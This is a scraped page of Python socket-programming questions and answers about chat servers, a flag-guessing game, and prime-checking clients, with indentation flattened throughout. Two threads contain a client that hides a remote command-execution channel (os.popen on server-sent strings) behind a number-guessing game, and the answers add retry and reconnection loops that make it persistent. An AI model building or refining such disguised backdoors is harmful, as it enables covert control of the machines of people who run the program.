Python - Server / Client TCP Chat Console - python

I'm trying to make a Host/ClientTCP Chat Console.
I have a little problem with my python script, actually, i can't assign my listenS socket when i'm in server mode.
I want to use the same functions (Send and Recieve) for the Client and Host but i don't know if it is possible, i'm not very good in python so if you guys can help me to solve this
Thanks
Code :
import socket
from threading import Thread
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Port = 1604
listenS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def start():
IP_address = "192.168.1.49"
isserver = input("Server ? (Y/N) : ")
if isserver.lower() == "n":
rIP = input("IP Adress : ")
# str(rIP)
rPort = input("Port : ")
if rPort != "":
Port = int(rPort)
else:
Port = 1604
if isserver.lower() == "n":
listenS.connect((IP_address, Port))
elif isserver.lower() == "y":
Listen()
def Listen():
try:
server.bind(('', Port))
server.listen(10)
listenS, addr = server.accept() # ---- Here is my problem ! -----
except:
print("Connection Timed Out !")
class Send(Thread):
def __init__(self):
Thread.__init__(self)
print("Sender Started...")
def run(self):
while True:
message = input() + "\n"
listenS.send(message.encode('utf-8'))
class Recieve(Thread):
def __init__(self):
Thread.__init__(self)
print("Listener Started...")
def run(self):
while True:
print(listenS)
message = listenS.recv(2048)
print(str(message).replace(r"\n","").replace(r"b'","").replace(r"'",""))
start()
send = Send()
recieve = Recieve()
send.start()
recieve.start()

Related

My global variable is not changing (Python)

I am making an online flag guessing game using sockets.
Server's code below (sorry for pasting the entire code, I've been testing and have literally no idea what the problem could be):
import socket
import threading
import random
from time import sleep
from func import get_flags
flags = get_flags()
flag_names = [i for i in flags]
current_flag = " "
show_answer = False
errorCounter = 0
HEADER = 64
PORT = 5050
SERVER = socket.gethostbyname(socket.gethostname())
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
players = []
num_of_players = int(input("Number of players: "))
def handle_client(conn, addr):
global show_answer, current_flag
print(f"[NEW CONNECTION] {addr} connected.")
connected = True
player = ()
while connected:
print(current_flag)
msg_length = conn.recv(HEADER).decode(FORMAT)
if msg_length:
msg_length = int(msg_length)
msg = conn.recv(msg_length).decode(FORMAT)
#print(f"[{addr}] {msg}")
msg = msg.lower()
msg = msg.split(" ")
try:
if msg[0] == "!set_username" and len(msg) > 1:
player = (msg[1], addr)
players.append(player)
elif msg[0] == "!get_flags":
conn.send(str(flags).encode(FORMAT))
elif msg[0] == "!ready":
conn.send(str(len(players) >= num_of_players).encode(FORMAT))
elif msg[0] == "!get_current_flag":
conn.send(current_flag.encode(FORMAT))
elif msg[0] == "!show_answer":
conn.send(str(show_answer).encode(FORMAT))
except Exception:
print("asd")
#conn.send("Msg received".encode(FORMAT))
players.remove(player)
conn.close()
def start():
global show_answer, current_flag
server.listen()
print(f"[LISTENING] Server is listening on {SERVER}:{PORT}")
while len(players) < num_of_players:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
print("\nThe game has started.\n")
while True:
sleep(3)
show_answer = False
current_flag = random.choice(flag_names)
sleep(10)
show_answer = True
if __name__ == "__main__":
print("[STARTING] server is starting...")
start()
My problem is:
When I call the start() function, and the lobby fills up, the "game clock" starts, which determines how much time the players have to guess the flag, and the time in which they can see the correct answer. When I change these variables (show_answer and current_flag), they change, but not in in handle_client(). Why is that?
The client is able to connect just fine, but can't see the updated variables.
I am using Python 3.9.5 if that helps.

Why does the client receives wrong information - sockets Python

I am trying to write a small client-server application in Python. The server must generate a random number and send it to the client. The client checks if the number it received is prime. In that case it will send to the server the message "YES". If the number is not prime it will send a "NO" message to the server. Then the server checks the reply and if it is "YES"/"NO", it will send the client the message "CORRECT"/"WRONG" and the client will display it. The app works fine for one client, but when multiple clients are accessing the app at the same time I get errors like this: "invalid literal for int() with base 10: 'Wrong'" and sometimes I get "An existing connection was forcibly closed by the remote host". Can you please tell me what am I doing wrong?
server.py:
import socket
import random
import threading
class ClientHandler(threading.Thread):
def __init__(self, client_sock, client_addr):
self.client_sock = client_sock
self.client_addr = client_addr
super(ClientHandler, self).__init__()
def run(self):
n = random.randint(0, 9)
trimite = str(n)
self.client_sock.send(bytes(trimite, "utf-8"))
received = None
while received == None:
received = client_sock.recv(100)
received = received.decode("utf-8")
if received == "YES":
client_sock.send(b"Correct")
else:
client_sock.send(b"Wrong")
self.client_sock.close()
if __name__ == '__main__':
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", 9999))
sock.listen(10)
while True:
client_sock, client_addr = sock.accept()
print(f"Connected {client_addr[0]} : {client_addr[1]}")
worker_thread = ClientHandler(client_sock, client_addr)
worker_thread.start()
client.py:
import socket
import threading
def check_prime(n):
n = int(n)
if n == 1 or n == 0:
return False
if n == 2:
return True
for i in range(2, n // 2):
if n % i == 0:
return False
return True
class RunMultiple(threading.Thread):
def __init__(self, sock):
self.sock = sock
super(RunMultiple, self).__init__()
def run(self):
recieved = self.sock.recv(100)
if check_prime(recieved.decode("utf-8")) == True:
self.sock.send(b"YES")
else:
self.sock.send(b"NO")
second_recieved = self.sock.recv(100)
print(second_recieved.decode("utf 8"))
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect(("127.0.0.1", 9999))
i = 0
while i != 3:
worker_thread = RunMultiple(sock)
worker_thread.start()
i += 1
Open a new connection for each client:
if __name__ == "__main__":
for i in range(3):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect(("127.0.0.1", 9999))
worker_thread = RunMultiple(sock)
worker_thread.start()
And make sure to use self.client_sock not client_sock in the server. Without it, it was referencing the global variable defined in the if __name__ section of the code which is the last socket opened.
received = None
while received == None:
received = self.client_sock.recv(100) # was missing self here
received = received.decode("utf-8")
if received == "YES":
self.client_sock.send(b"Correct") # and here
else:
self.client_sock.send(b"Wrong") # and here
self.client_sock.close()

How can I have client socket continue listening for server in python?

I have the following code.
This is for the client.py:
import random
import socket
import threading
import os
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
This for server.py
import socket
HOST = '127.0.0.1'
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
For this to work properly I need to have the server continually running to get a response from the client. If I run the client before the server I get presented with the following error:
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Can I modify it to have client.py wait for the server to answer in order to connect to it? Basically I want to remove the time out error
connect() will throw an exception if it can't connect. Catch it and retry:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception as e:
print("retrying: ", e);
time.sleep(1)
print("connected")

How can I have client socket continue listening for server after a server is closed in python?

This is my client.py:
import random
import socket
import threading
import os
from time import sleep
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
This is the server.py
import socket
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
This works but if I disconnect server.py I get the following error on client.py:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
Is their a way to have client.py always listen and wait for server.py to come online so that they could connect back again? Basically I want client.py to never stop listening for server.py
The problem described by you shows that the server closed the connection while your client was doing the task, so the simplest solution is wrap it up in a try...except while_loop
replace
def access():
HOST = '127.0.0.1'
PORT = 22262
while True:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
with
def access():
HOST = '127.0.0.1'
PORT = 22262
while True
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
except:
pass
now the above code wraps it up using try and except with a while loop so it continues to try connecting to server even if the server goes down in between a connection

How to send broadcast data to all clients in a muti-threaded socket server?

I am currently in the process of creating a mutli-threaded chat room in python, however I am having trouble broadcasting data to all of the clients.
I am hoping to create a system where one clients sends data to the server, and the server broadcasts the data to the other clients.
What I am hoping to achieve:
https://i.stack.imgur.com/uvG54.png
Server:
import socket
import threading
import sys
import time
USERNAME = str(input("Enter your username: "))
MAX_CLIENTS = int(input("How many clients: "))
BUFF_SIZE = 1024
HOST = ''
PORT = 9999
lock = threading.Lock()
class Server:
def __init__(self):
self.clients = [] #list of clients
self.messages = [] #messages
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.host = HOST
self.port = PORT
self.sock.bind((self.host, self.port))
threading.Thread(self.listener()).start()
def conn_handler(self, conn):
while True:
with lock:
self.data = conn.recv(BUFF_SIZE).decode("utf-8")
print(data)
self.messages.append(self.data)
conn.sendall(self.data.encode("utf-8")) #error occurs here, cannot send data to all clients
time.sleep(.01)
def listener(self):
for x in range(MAX_CLIENTS):
self.sock.listen(1)
conn, addr = self.sock.accept()
print("{} has connected!".format(addr))
self.clients.append(addr)
threading.Thread(target=self.clientthread, args=(conn,)).start()
threading.Thread(target=self.conn_handler, args=(conn,)).start()
server = Server()
Client:
import socket
import time
import threading
BUFF_SIZE = 1024
HOST = str(input("Enter Server IP: "))
PORT = 9999
print("Connecting to {} at port {}.\n".format(HOST, PORT))
lock = threading.Lock()
USERNAME = str(input("Enter username: "))
print("""\nClientCommands:
-----------------
\t1. #SHOWINFO --> Shows server info.
\t2. #ARCIVECHAT --> Saves chat into text file.
""")
class Client:
def __init__(self):
self.messages = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.host = HOST
self.port = PORT
self.sock.connect((self.host, self.port))
print("\nConnected to server!\n")
print("Please press <enter> to refresh chat in order to send message.")
_recver = threading.Thread(target=self.recver)
_recver.start()
def recver(self):
while True:
with lock:
data = self.sock.recv(BUFF_SIZE).decode("utf-8")
print(data)
self.messages.append(data)
data = self.sock.recv(BUFF_SIZE).decode("utf-8")
print(data)
self.messages.append(data)
time.sleep(.01)
def get_send_msg(self):
self._msg_to_send = str(input("You - "))
self.msg_to_send = "{} - ".format(USERNAME)+self._msg_to_send
self.messages.append(self.msg_to_send)
try:
if self._msg_to_send == "#SHOWINFO":
self.ShowInfo()
elif self._msg_to_send == "#ARCIVECHAT":
self.Arcive_Chat()
else:
self.sock.send(self.msg_to_send.encode("utf-8"))
except Exception as e:
print("An error has occured:")
print(e)
archiveornot = str(input("Would you like to archive the conversation in a text file(Y/N): "))
if archiveornot == "Y":
archive_name = str(input("Enter file name: "))
f = open(archive_name, "w")
for message in self.messages:
f.write("\n")
f.write(message)
f.close()
print("Exiting program...")
quit()
else:
print("Exiting program...")
time.sleep(2)
quit()
time.sleep(.01)
def ShowInfo(self):
print("Server Info:")
print("--------")
print("Host: {} | Port: {}".format(self.host, self.port))
print("--------")
def Arcive_Chat(self):
archive_name = str(input("Enter file name: "))
f = open(archive_name, "w")
if len(self.messages) >= 1:
for message in self.messages:
f.write("\n")
f.write(message)
f.close()
else:
print("[!]Error, No messages were sent[!]")
client = Client()
def main():
while True:
client.get_send_msg()
if __name__ == "__main__":
main()

Categories

Resources